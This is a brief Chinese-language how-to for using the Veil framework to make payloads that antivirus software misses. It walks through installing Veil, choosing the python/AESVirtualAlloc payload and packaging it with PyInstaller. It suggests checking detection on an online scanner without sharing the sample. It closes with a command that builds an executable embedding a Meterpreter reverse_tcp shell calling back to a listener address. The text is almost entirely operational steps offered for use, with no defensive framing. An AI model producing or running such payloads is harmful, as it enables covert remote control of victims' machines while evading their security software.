使用veil绕过杀毒软件

git地址：https://github.com/ChrisTruncer/Veil/
# wget https://github.com/ChrisTruncer/Veil/archive/master.zip
# unzip master.zip
# cd Veil-master/setup
# ./setup.sh
# rm -rf setup
运行./Veil

list命令查看荷载内容

本文使用python/AESVirtualAlloc荷载。

use python/AESVirtualAlloc

使用generate命令来生成可执行文件

选择一些默认值。回答一些关于荷载的问题后，Veil将会提问一些关于你想创建的可执行文件的问题。首先提供一个可执行文件的名字，然后指明用PyInstaller或py2exe来创建可执行文件。

选择PyInstaller之后，Veil负责剩下的工作。

使用 http://vscan.novirusthanks.org来检测文件，点击“Do not distribute the sample”
可以使用

./Veil.py -l python -p AESVirtualAlloc -o trytofindthis --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST=192.168.187.100 LPORT=443

来完成工作。